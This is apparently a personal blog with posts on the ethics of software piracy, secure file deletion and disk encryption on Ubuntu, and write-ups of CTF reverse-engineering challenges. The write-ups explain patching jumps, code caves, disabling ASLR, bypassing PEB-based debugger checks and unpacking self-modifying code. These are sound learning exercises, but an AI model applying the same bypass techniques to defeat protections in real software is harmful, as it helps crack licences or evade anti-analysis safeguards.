-- If it's a trial, I'm fine downloading the trial from anywhere. I'm not open to cracking that software and using it.. even if it is just for myself.

-- If I bought some software but cant find it, but did pay for it sometime, I'm fine downloading similar software with no additional features off a torrent. The logic being, I just misplaced my software and am getting it back from somewhere.

-- If someone bought software and gave it to me for temporary use, I'm fine using it, as long as they are fine giving it to me AND are not using it themselves when they lend it to me. The point here is.. they paid for the software for their personal use (singular) and are not using it themselves. So, they can choose to have anyone else use it instead.

-- Downloading things for free when it's clearly not available for free download IS piracy. You are basically cheating the creator of his/her income. It doesn't matter how badly YOU need it.  That doesn't automatically give you a right to someone's work, without their consent.

-- Youtube videos are tricky. Every video (free or pirated) appears to have a "Standard Youtube license". It's extremely hard to find out which ones are pirated and which are not. I probably view pirated stuff ..unknowingly... all the time. The only clear way to find out is to ask people who uploaded it..I guess. But this isn't practical.. and what if they do not reply? I DONT have an answer for this at all.

I would like to hear the thoughts of anyone who reads this. Do get in touch however you'd like. I'm happy for you to poke giant holes in my arguments, so I can eliminate contradictions in my thought process.. if any.

Monday, December 30, 2013

Securely Delete files - Ubuntu

So recently there was a lot of talk at work about keeping our customer data secure. Each of us was fully responsible for the customer data that we had on disk.

I use Ubuntu 12.04 with a ton of Virtual machines. Here's what I ended up doing to do my bit to keep all our customer data safe.

a) Set a BIOS password - If your laptop gets stolen and someone wants to boot off a USB, this makes it harder. Obviously though, they can just take your hard disk out and plug it into another laptop..

b) Full Disk Encryption - Sure ..they can plug your disk into another machine. If all your data is encrypted (Ubuntu allows you to encrypt data while installing it) and you have a reasonably strong passphrase (Greater than 10 characters + Capital letters, small letters, digits and special characters) it's going to be really hard to try and crack.

c) Do not store any customer data on your laptop - It's hard to do this, but really it's the best way. Let customer data be stored on secure servers inside a server room or datacenter, where it can't be stolen that easily. Some customer data storage though might be unavoidable...

d) Use Truecrypt if you must store Customer data - Whatever data there is on your laptop, encrypt that again using Truecrypt and a strong passphrase. So even if someone cracks your full disk encryption passphrase, all they will find is a Truecrypt file.

e) Securely delete content all the time - Using rm -rf or Shift + Delete is no good, as forensics tools will be able to recover data. Use the secure-delete suite of tools to delete data securely. I added an alias to my rm command so I don't ever accidentally only use 'rm' instead of 'srm'.

alias rm = 'srm -rv'

This overwrites files 38 times before deleting them by default. Each file :D. It's probably overkill. So I'd recommend doing something like srm -rfvl filename (The l does just 2 passes instead of 38) and doing an rm filename at the end of every project.

f) I also plan to read up on the other tools that the secure-delete suite offers and run those to clean up my RAM (Run sdmem -v as root)and fill (Run sfill -v MountPoint as root. You can identify your mount points either by running the mount command, or by running df -kh and looking at the Mounted On column) up all my unused space with random data. This is needed because I've been deleting insecurely for a long time now. As of now, I also plan to never delete from Nautilus because adding commands to the context menus using various guides is proving to be an utter pain.

g) Formatted all my flash drives and created a Truecrypt volume on the only flash drive that I plan to use to store customer data. So even if the flash drive gets lost, the data is still reasonably hard to get at.

Thursday, December 26, 2013

Patching and Code Caves - Reverse Engineering

The previous post where I solved a reversing challenge was a good example of a place where I could demonstrate a little bit of patching and also use something called a code cave [Thanks Dns]

Patching a program effectively means, change something in the program so that it behaves a little differently - usually this is a change in control flow. In the CSAW example, there's 3 places we can patch the code. We can change the flow of the code so it always chooses 1 in the first switch-case (40109A), 3 in the 2nd switch-case (401120) and we can finally NOP the jump out at 401171 so it calls 401000, no matter what.

Here are 3 screen-shots showing the 3 patches.

If you remember, towards the end of the previous blog, we had to look for the flag inside Olly and the pop-up wouldn't get populated with the flag.The solution that I suggested there was to manually increment the address inside ESI so that it populated the pop-up. There's another cooler solution called a code cave, that will enable us to automatically increment ESI and cause the message box to be displayed.

Here is a screen-shot of the patch that I use, to force the code to jump to a different location, increment ESI, jump back and then call the message box.

This causes the flag to be displayed inside the Message Box itself.

CSAW Finals - CSAW Reversing - csaw2013reversing3.exe

The CSAW Finals VMs were out a while ago and I for one was super happy they did that. So I downloaded all the challenges related to reversing (obviously :)) and started working on them.

The first one was a PE executable called csaw2013reversing3.exe. Initial notes showed that it was a small EXE at 7 KB, didn't have any strings to help you out and imported just 3 DLLs. Quickly loading up the program in IDA showed that Msgbox with a Flag popup was eventually called. So maybe it's not too big.

I learnt about something called rebasing during this challenge. Every EXE has something called an ImageBase. It's just a location in memory where the EXE starts loading itself into and starts running from. Now the Image Base in IDA is 400000 by default. So when I loaded the program in, I found that interesting functions started at 401030. This was fine. Now though I wanted to start running the binary in Olly, I don't particularly enjoy studying pure static disassembly listings.. ;)..

The moment I loaded it in Olly though...I couldn't find 401030 at all. It started loading at a number of random locations, which kept changing every time. So I started reading. Turns out, that Win 7 has ASLR (Address Space Layout Randomization) on by default. In short, this just means that the OS randomizes the locations that your program loads at..every time. So even if you tell your program to load at 400000 every time..the OS will say. Nope.. and load you elsewhere. I found this out by using a tool called CFF Explorer to edit and save the Image Base to 400000..which didn't work. So I ended up turning ASLR off for my reversing VM (Don't do this on any machine which matters to you..ASLR is a good thing to leave on :)). On a Win 7 machine, ASLR can be turned off by creating a key HKLM\SYSTEM
\CurrentControlSet\Control\Session Manager\Memory Management\MoveImages and setting it to 0. Reboot to make sure - it's Windows :)

Ok good. Now Olly started loading at 400000 and I could see my functions in Olly and IDA - at the same places - easier. Stepping through the function quickly I found that srand() was called to seed the random number that rand() could be called later on and generate 2 random numbers - one at 40107D and one at 40110A.The last bit from both these is extracted and used as an input into a switch - case structure.

So the first switch-case structure is for hex 0-F and the second is for hex 0-7. A jump to that specific structure happens..based on input .. as follows.

Eventually there is a jump to a call at 401000 which performs some simple XOR operations and stores the result at a predefined memory location (decided by HeapCreate and HeapAlloc). As shown in the screen-shot below, the encrypted text is stored at 1DE07E0.

Right click on the highlighted location and click Follow in Dump to look at the content in the bottom pane as shown below. You can see this text changing after the CALL to 401000 is made.

The second switch case chooses a number between 0 and 7 and calls 401000 as before. It operates and stores content in the same location as before, acting on the encrypted text. Eventually a flag is popped up with the contents at 1DE07E0.

Notice that the text is all junk. It's certainly not the flag. This means that the numbers we chose were incorrect. Wait..what do you mean.."chose?". After all rand() was called..rt? I didn't choose anything.'s a CTF - means you have to play with the output of rand and make it select the right numbers. Okay..let's think how to do this..

What do we have now? 1 switch case with 4 possible paths (one each for 0,1,2,3) and a 2nd switch case again with 4 paths (again for 0,1,2,3). This means there are a total of 16 possible paths if we call 401000 twice. The other options are to call 401000 only once..either for the first rand() call or the send rand() call. That's 4+4=8. And a total..of 24 cases. Here's a list of all possibilities:

Only Switch case 1 - 0,1,2,3
Only Switch case 3 - 0,1,2,3
Both switch cases - 00,01,02,03,10,11,12,13,20,21,22,23,30,31,32,33

The chances are that it's encrypted twice. That's just a guess from someone who's done a few challenges. It could well be wrong..but let's try. Remember we want the encryption to be called twice..

Set a breakpoint on 401093 and change EAX to 1 (I know this as I solved it :)) but you would try to get all those combinations in your switch case structure..and conclude. So lets change EAX to 1 and go in. Notice that there is a jump at 4010C9 which jumps right over the CALL 401000 which does the encryption. So there's something there..which we need to do...and force it to CALL 401000. What?

Look at 4010C3 - it's copying fs:30 + 2 into EAX. That location is the PEB (something every process has) and field 2 stores a flag which is set to 1 if we're inside a debugger. So EAX will have 1 after this statement. And the TEST EAX,EAX will fail (from our perspective) and we make the JMP at 4010C9. We want to NOT jump here but a little 4010D1. So we need to tell the program that we're not inside a debugger. There's a few ways to do it... but I used the Olly Advanced Plugin for Olly 1.10 and checked the IsDebuggerPresent box. This clears the fs:30+2 bit...and makes it 0. The TEST EAX, EAX "succeeds" this time and we jump to 401103 instead and CALL 401000 and perform an operation on the encrypted text. Here you see that the bit is 0 and not 1.

The same logic repeats for the 2nd switch case, only this time we want to take the branch for 3,7 instead. Note that the fs:30+2 location is accessed there as well. Eventually you want to jump to 401179 and NOT 401180 so that the CALL 401000 is triggered.

The CALL is made and the encrypted text (which was already encrypted once) is "re-encrypted". Run the program now and look at the flag popup. Oops. Blank :(. No worry.. go to the actual location where the encrypted text is stored.


Yay :). You could also adjust ESI to ESI+1 by right clicking on ESI and saying Increment. Then the flag would be displayed in the popup box as well. Have fun.

Tuesday, November 26, 2013

EMC Defenders CTF - Week 3 - Contest 14 - Reversing

I played the EMC defenders CTF with a few of my friends a while back. We sadly couldn't complete all the challenges. All the same it was quite a lot of fun. One of the challenges in Week 3 was reverse engineering a 32 bit Windows executable.
While the challenge finished a while ago, I was poking at it a bit even after the challenge finished and finally managed to get a flag. In this post, I wanted to talk a little bit about the various obstacles that were in the way and how I circumvented them.

The first thing that I noticed was that directly running the executable caused it to terminate. So I started digging into it a bit more and found that there were a couple of checks that the exe performed.

- Check if it was being executed in a 64 bit environment
- Check if it was being run inside a debugger

A quick patch of the JZ to a JNZ bypassed both these protections and we were able to proceed without a problem.

After a while at 4010CF VirtualAlloc was called and a section of memory allocated to write "something into" - we don't know what at this time. The next problem was when a CALL was made at 40110B - which called into this section.

Going to that place in memory showed a lot of weird weird code which did not look right at all. Have a look at the screenshot.

Trying to run this code at this point caused an Access Violation straightaway. So I started single stepping the code, and immediately found that code a little lower down started changing. This meant that this was some kind of self modifying executable - a lot of packers use this trick.

I single stepped up to a point and ran again but it crashed again. Single step again - the next section made sense now. I repeated this for quite a while until the entire section started to make sense. What was happening, was that a small section of code would decrypt the next section. The next section would then run and decrypt the next bit. And so on ... until the entire bit unpacked itself.

Here is a screenshot of a packed section.

..And the same section after it's unpacked.

Single stepping the code until 3D0194 eventually decrypted every single bit of the code.

The unpacked code is at 3D0791 (red highlight in screen-shot above). This is how most packers behave - unpack the code to a different location and run it from there. Notice also all those junk ADD instructions after the CALL - more signs that the unpacking ends here. Lets hop over to 3D0791 now and see what's there.

Look at the last instruction and the red highlighted bit below. There is a CMP with 5A4D there and something happening after that. Hmm. 5A4D = MZ in Ascii. And MZ is the start of an EXE file. So it looks like it's searching for the start of an EXE file in memory. That too probably is what the unpacker has done - unpacked the real EXE file somewhere into memory. Where? We don't know as of now.

The red highlighted bits do have MZ and PE - things which lead us to think that the file's somewhere near.. but the other bits like "This program cannot be run in DOS mode.." .. are nowhere near. So maybe... it's not this bit which is the EXE but somewhere else. Where though?

Lets run the code after this and see what happens. We hit F9 and the code starts looping backward .. each time decrementing the place it searches by 1 (ECX register). Hmm. Meaning.. it's searching for the PE header backward. At some point it is going to find this header. Maybe :)

So I started searching for all occurrences of 4D 5A in memory. We got a hit at 3D0181 and with more text which looks like an EXE.

So I set a conditional break-point just after the CMP to break when ECX = 3D0181.

As expected it breaks. Now EDX is compared to 5A 4D. I'd expected that it would find a match and move on. Strangely the program never found a match and kept crashing. So I looked at what EDX was getting set to when the program broke.

Interestingly it got set to 5A CC and not 5A 4D. In other words the instruction CMP EDX,5A4D was failing.. coz EDX was getting set to 5A CC instead and hence never finding a match. Why?

Well CC in assembly is a software breakpoint .. or INT 3 as is often known. I'd set a conditional breakpoint..right? So the 4D at that point was temporarily overwritten by CC and thus the match failed and the app felt that there was no PE file there at all... when in reality there was. Here's a screenshot of what EDX actually contained.

But we know for sure... that there IS a PE file here. Right? So I edited EDX at run-time (and cheated a bit :)) and made it 5A 4D so that the match would succeed.

Suddenly all the code after all started to make sense...and all the right branches started getting selected, which meant I was on the right track. The biggest hint was that the next CMP which compared against 45 50 (start of PE header) succeeded and I exited the "search for PE header" loop. Which means that the header was found. Nice.

There was more memory allocated at 3D09E4 where the entire EXE was copied into 3D0000. Load Library was then called a couple of times at 3D0A9A and the addresses for a ton of functions in kernel32.dll and user32.dll were obtained.

Then I got bored and tried running it after this point to see if it'd give me a flag.. but nope.. program exited again. Aargh :(. More single stepping. I eventually came up to a call at 3D0D46. This call suddenly called to some code which was quite far from 3D0246... it called to 320A0B. Hmm. Interesting..

Eventually I managed to isolate which function was causing the code to exit. I followed the path 3D0915 - 3D097C - 3D0180 - 3D01130. And then I saw this...

So there's 3 CMP instructions ..comparing 3 different locations on the stack to 16,2 and 7E6 in hex and if they "fail" jumping to the end of the code which is 3D0171 (Screenshot shows 261171 because I wrote this blog over a couple of days and the addresses changed :D... just replace 261 with 3D0 and continue reading).

What is it looking at? Lets convert all those 3 to decimal - and it comes out to 22, 2 and 2022. Hmm. 22-2-2022. 22nd February 2022. And look at the call just before that - GetSystemTime. What'll happen if we change our system date to 22nd Feb 2022 and proceed? Let's try.

No.. that didn't work and the program still exited. So there's something else which is calculating those numbers so there is an exact match. We could sit and play around and possibly find the right match..but maybe..we do not need to and can just patch the 3 jumps. I just toggled the ZF thrice... and passed all the conditions so the program exited normally.

No more changes....and I eventually made my way over to 3D009A where there seemed to be some kind of comparison happening with all the sections of the executable..and the right path chosen when one landed on .bss.. one of the sections.

Then there seemed to be a bunch of junk copied over to 18F5CC. But I looked to be coming closer.

And then finally, there seemed to be an XOR with 5E and a MessageBox popping up with..a FLAG?

Maybe..maybe. Yessss.. Finally :)

Unfortunately I couldn't submit the flag since the contest was long long over. But still... it was nice to finish the challenge :)